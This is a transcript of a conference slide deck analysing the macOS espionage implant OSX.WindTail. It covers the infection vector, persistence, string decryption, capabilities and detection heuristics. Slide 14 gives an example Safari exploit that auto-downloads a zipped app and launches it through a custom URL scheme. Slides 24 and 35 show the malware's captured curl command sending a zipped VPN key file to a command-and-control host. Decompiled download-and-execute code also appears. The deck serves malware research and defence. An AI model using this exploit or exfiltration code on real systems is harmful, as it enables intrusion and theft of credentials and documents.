Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Cyber-Espionage in the Middle East: Unravelling OSX.WindTail

Cyber-Espionage in the Middle East: Unravelling OSX.WindTail

It's no secret that many nation-states possess offensive macOS cyber capabilities, though such capabilities are rarely publicly uncovered. However, when such tools are detected, they provide unparalleled insight into the operations and techniques utilized by advanced adversaries. In this talk, we'll comprehensively dissect one such tool: the first-stage macOS implant utilized by the WINDSHIFT APT group (who targeted individuals of a certain Middle-Eastern government). After analyzing the malware's unique infection vector, we'll discuss its method of persistence, and capabilities. To conclude, we'll present heuristic methods of detection that can generically detect this, as well as other advanced macOS threats.

Patrick Wardle

October 03, 2019
Tweet

More Decks by Patrick Wardle

Other Decks in Technology

Transcript

  1. Cyber espionage in the Middle East
    unravelling OSX.WindTail

    View Slide

  2. WHOIS
    co-founder creator
    @patrickwardle

    View Slide

  3. infection 

    & installation
    capabilities
    OUTLINE
    }
    background detection
    OSX.WindTail

    View Slide

  4. Background

    View Slide

  5. WINDSHIFT APT
    targeting macOS systems in the middle east
    "In the Trails of WindShift APT" 

    (T. Karim, Hack in the Box GSEC)
    Taha Karim
    WindShift APT group:
    "targeted specific individuals working
    in government departments and critical
    infrastructure across the Middle East"
    }
    WindShift APT toolset:
    OSX.WindTail
    OSX.WindTape

    View Slide

  6. WINDSHIFT APT ACTIVITY unit42
    (paloaltonetworks.com)

    View Slide

  7. OSX.WindTail.A
    infection & installation

    View Slide

  8. ...virustotal to the rescue
    FINDING SAMPLES
    "In the Trails of WindShift APT" 

    (T. Karim)
    "name: Meeting_Agenda"
    sample never shared (afaik)
    a match!

    View Slide

  9. ...virustotal to the rescue
    FINDING SAMPLES
    "similar-to"
    NPC_Agenda_230617.zip1 

    SHA-1: df2a83dc0ae09c970e7318b93d95041395976da7
    Scandal_Report_2017.zip 

    SHA-1: 6d1614617732f106d5ab01125cb8e57119f29d91
    Final_Presentation.zip 

    SHA-1: da342c4ca1b2ab31483c6f2d43cdcc195dfe481b
    }
    new samples?!
    (0 detections)

    View Slide

  10. FINAL_PRESENTATION.APP
    $ codesign -dvv /Users/patrick/Downloads/WindTail/Final_Presentation.app
    Executable=/Users/patrick/Downloads/WindTail/Final_Presentation.app/Contents/MacOS/usrnode
    Identifier=com.alis.tre
    Format=app bundle with Mach-O thin (x86_64)
    Signature size=8526
    Authority=(unavailable)
    Info.plist=not bound
    TeamIdentifier=95RKE2AA8F
    standard mac application
    executable: 'usrnode'
    signed! (team id: 95RKE2AA8F)
    code signing information

    View Slide

  11. EXPLOITATION OVERVIEW
    "Remote Mac Exploitation Via Custom URL Schemes"

    https://objective-see.com/blog/blog_0x38.html

    View Slide

  12. launch services interactions?
    INFECTION VECTOR
    # fs_usage -w -f filesystem

    open (R_____) ~/Downloads/WindTail/Final_Presentation.app lsd
    open (R_____) ~/Downloads/WindTail/Final_Presentation.app/Contents/Info.plist lsd
    PgIn[A] /private/var/folders/pw/sv96s36d0qgc_6jh45jqmrmr0000gn/0/com.apple.LaunchServices-231-v2.csstore
    launch services daemon (lsd)..."processing" the app?
    zip download
    auto extract

    View Slide

  13. $ lsregister -dump

    BundleClass: kLSBundleClassApplication
    bundle id: 56080
    ...
    path: ~/Downloads/Final_Presentation.app
    schemesList: openurl2622007
    ------------------------------------------
    claim id: 208600
    rank: Default
    roles: Viewer
    flags: url-type
    bindings: openurl2622007:
    automatic registration of
    custom URL handlers
    $ cat Final_Presentation.app/
    Contents/Info.plist


    ...
    CFBundleURLTypes


    CFBundleURLName
    Local File
    CFBundleURLSchemes

    openurl2622007



    custom url scheme
    (Info.plist)
    custom url schemes
    INFECTION VECTOR
    launch services database

    View Slide

  14. download and execute via Safari
    EXAMPLE EXPLOIT
    //auto download .zip

    //Safari will unzip & trigger url registration

    var a = document.createElement('a');

    a.setAttribute('href', 'https://file.io/kBTfCn');

    a.setAttribute('download', 'Final_Presentation');

    $(a).appendTo('body');


    $(a)[0].click();


    //launch app via custom url scheme

    location.replace("openurl2622007://");
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11

    download & launch malware
    "Final_Presentation"

    View Slide

  15. OSX.WindTail ...persisted !

    View Slide

  16. via login item
    PERSISTENCE
    int main(int argv, char** argv) {


    r12 = [NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];


    rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0);

    LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0, r12, 0x0, 0x0);

    ...


    rax = NSApplicationMain(r15, r14);

    return rax;

    }
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11

    login item persistence

    View Slide

  17. copy into ~/Library
    INSTALLATION LOGIC
    (lldb) po $rdi

    (lldb) x/s $rsi
    "copyItemAtPath:toPath:error:"
    (lldb) po $rdx
    /Users/user/Downloads/Final_Presentation.app
    (lldb) po $rcx
    /Users/user/Library/Final_Presentation.app
    /* @class appdele */

    -(void)cp {

    ...

    [fileManager copyItemAtPath:r15

    toPath:rbx error:0x0];
    01
    02
    03
    04
    05
    # fs_usage -w -f filesystem
    open /Users/user/Downloads/Final_Presentation.app
    mkdir /Users/user/Library/Final_Presentation.app
    ...
    ~/Downloads ~/Library
    installed malware
    [appdele cp] method
    file monitor
    debugging (args)

    View Slide

  18. ...again!?
    PERSISTENCE
    # ./processMonitor

    [ process start]
    pid: 917
    path: /usr/bin/open
    args: (
    open,
    "-a",
    "~/Library/Final_Presentation.app"
    )
    process monitor
    ~/Downloads
    ~/Library
    `open ~/Library/
    Final_Presentation.app`
    both instances
    are persisted...

    View Slide

  19. OSX.WindTail.A
    capabilities

    View Slide

  20. AES w/ a hardcoded key
    STRING ENCRYPTION encoded (& encrypted) strings
    /* @class appdele */

    -(void *)yan {

    var_30 = [self yoop:@"BouCfWujdfbAUfCos/iIOg=="];

    [self yoop:@"Bk0WPpt0IFFT30CP6ci9jg=="];

    [self yoop:@"RYfzGQY52uA9SnTjDWCugw=="]; 


    return [NSMutableArray arrayWithObjects:var_30];

    }
    01
    02
    03
    04
    05
    06
    07
    08
    -(void *)yoop:(void *)string {

    return [[[NSString alloc] initWithData:

    [[yu decode:string] AESDecryptWithPassphrase:key]];

    }
    01
    02
    03
    04
    'yan' invokes 'yoop:'
    'yoop:'
    (+AES decryption) crypto key

    View Slide

  21. runtime decryption of strings
    DYLIB INJECTION
    load library & 

    hook decryption routine?!
    overwrite (un-needed)
    LC_LOAD_DYLIB entry
    $ vmmap usrnode
    __TEXT ~/Library/Final_Presentation.app/
    Contents/MacOS/usrnode
    __TEXT ~/Library/Final_Presentation.app/
    Contents/MacOS/swizzle.dylib
    'injected' dylib: loaded

    View Slide

  22. "SWIZZLING" DECRYPTION ROUTINE
    method_exchangeImplementations(

    class_getInstanceMethod([self class], @selector(swizzle:)),

    class_getInstanceMethod(NSClassFromString(@"appdele"), @selector(yoop:)));


    -(NSString*)swizzle:(NSData*)data {


    //invoke original method ("yoop") to decrypt 

    decrypted = ((NSString*(*)(id,SEL,NSData*))origImplementation)(self,@selector(yoop:), data);


    //modify decrypted string as needed!


    return decrypted;
    }
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    swaps methods, via 'swizzle'
    url = [r15 yoop:@"F5Ur0CCFMO...];
    01
    "flux2key.com"
    print "decrypted: %s"
    "F5Ur0CCFMO..."
    method: "swizzle"
    method: "yoop"
    "F5Ur0CCFMO..."
    -> "flux2key.com"

    View Slide

  23. DECRYPTED STRINGS
    $ open Final_Presentation.app
    dylib: loaded in usrnode (pid 666)

    dylib: swizzled '-[appdele yoop:]'

    dylib: decrypted: "Library/"

    dylib: decrypted: "doc"

    dylib: decrypted: "docx"

    dylib: decrypted: "ppt"


    dylib: decrypted: flux2key.com

    dylib: decrypted: string2me.com
    install path, file extensions, and C&C servers
    install dir
    C&C servers
    }
    file
    extensions?

    View Slide

  24. FILE EXFILTRATION
    # ./procInfo
    [ process start ]
    pid: 1202
    path: /usr/bin/zip
    args: (
    "/usr/bin/zip",
    "/tmp/psk.txt.zip",

    "/private/etc/racoon/psk.txt"
    )
    # ./procInfo
    [ process start ]
    pid: 1258
    path: /usr/bin/curl
    user: 501
    args: (
    "/usr/bin/curl",
    "-F",
    "[email protected]/tmp/psk.txt.zip",
    "-F",
    "od=1601201920543863",
    "-F",
    "kl=users-mac.lan-user",
    "string2me.com/.../kESklNvxsNZQcPl.php"
    )
    file collection
    file exfiltration

    (via curl)
    <__NSArrayM 0x10018f920>

    (

    "doc", "docx", "ppt", "pdf", "xls,

    "xlsx", "db", "txt", "rtf", "pptx"

    )
    file extensions

    (decrypted)

    View Slide

  25. View Slide

  26. FILE DOWNLOAD
    -(void)sdf {


    //get file name from C&C server

    var_50 = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE....];

    url = [[NSURL alloc] initWithString:[NSString stringWithFormat:var_50, ....];

    request = [NSURLRequest requestWithURL:url,...];

    data = [NSURLConnection sendSynchronousRequest:request ...];

    fileName = [[NSString alloc] initWithData:data encoding:rcx ...];


    //get file contents from C&C server

    rcx = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE98Zvi...];

    fileContents = [NSData dataWithContentsOfURL:[NSURL URLWithString:[NSString 

    stringWithFormat:@"%@%@", rcx, r8] ...];


    //save to disk

    [fileContents writeToFile: fileName ...];
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    $ ./netiquette -list
    usrnode(4897) 

    127.0.0.1 -> flux2key.com:80 (Established)

    usrnode(4897) 

    127.0.0.1 -> flux2key.com:80 (Established)
    GET /liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php

    response: file name
    GET /liaROelcOeVvfjN/update

    response: file contents 2x connections

    View Slide

  27. FILE EXECUTE
    -(void)sdf {


    //extract via 'ditto'

    task = [[NSTask alloc] init];

    [task setLaunchPath:[var_68 yoop:@"x3EOmwsZL5..."];


    rdx = [NSArray arrayWithObjects:@"-x", @"-k", ...];

    [task setArguments:rdx, ...];

    [task launch];


    //launch

    bundle = [[NSBundle bundleWithPath:filePath] executablePath];

    task = [[NSTask alloc] init];

    [task setLaunchPath:bundle];

    [task launch];
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    # ./procInfo
    [ process start ]
    path: /usr/bin/ditto
    args: ( "/usr/bin/ditto",
    "-x", "-k",
    "~/Library/update.zip", "~/Library" )

    [ process start ]
    path: ~/Library/update.app
    download & execute

    View Slide

  28. View Slide

  29. REMOTE SELF-DELETE
    "1"
    terminate
    delete
    r14 = [NSFileManager defaultManager];

    rdx = [[NSBundle mainBundle] bundlePath];


    //remove (self)

    [r14 removeItemAtPath:rdx error:rcx];


    //terminate (self)

    [[NSApplication sharedApplication] terminate:0x0 ...];
    01
    02
    03
    04
    05
    06
    07
    08

    http://flux2key.com/liaROelcOeVvfjN/
    fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@
    }
    request
    self-delete logic

    View Slide

  30. View Slide

  31. OSX.WindTail.A
    detection

    View Slide

  32. DETECTING EXPLOITATION
    $ cat Final_Presentation.app/Contents/Info.plist
    ...
    CFBundleURLTypes


    CFBundleURLSchemes

    openurl2622007
    $event.isNewDirectory == 1 AND $event.file.isAppBundle == 1
    AND $event.file.bundle.infoDictionary.CFBundleURLTypes != nil
    $event.isNewDirectory == 1 AND
    $event.process.name == 'Safari'
    Safari 'auto-open'
    'auto' URL handler registration
    Safari created
    directory
    app with custom URL handler
    application start
    alert !
    + +
    ?

    View Slide

  33. DETECTING PERSISTENCE
    backgroundtaskmanagementagent modifies
    backgrounditems.btm
    # fs_usage -w -f filesystem
    lstat64 ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
    backgroundtaskma.418404
    chmod ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm

    backgroundtaskma.418404
    warn !

    View Slide

  34. "Block Blocking Login Items"

    https://objective-see.com/blog/blog_0x31.html
    DETECTING PERSISTENCE

    View Slide

  35. OTHER RUNTIME BEHAVIORS
    file access, curl, network traffic?
    +
    +
    ...other (generic)
    runtime detections?
    ?
    alert !
    1000x file access (+ zip)
    # ./procInfo
    path: /usr/bin/curl
    args: (
    "/usr/bin/curl",
    "-F",
    "[email protected]/tmp/psk.txt.zip",
    ...
    )
    curl w/ 'POST' params
    network access (exfil)

    View Slide

  36. MAHALO!
    Digita Security
    (formerly)
    "Friends of Objective-See"
    [email protected]
    CleanMyMac X
    Malwarebytes Airo
    Guardian
    Mobile Firewall SecureMac SmugMug SentinelOne
    Trail of Bits Digital Guardian
    Sophos
    CyberArk Halo Privacy

    View Slide

  37. The Mac Security Conference
    Maui, Hawaii
    March 2020
    Objective by the Sea v3.0

    View Slide

  38. @patrickwardle
    • 'IN THE TRAILS OF WINDSHIFT APT' -T. KARIM
    • 'SHIFTING IN THE WIND' -UNIT42
    RESOURCES: IMAGES:
    • WIRDOU.COM/
    OSX.WindTail

    View Slide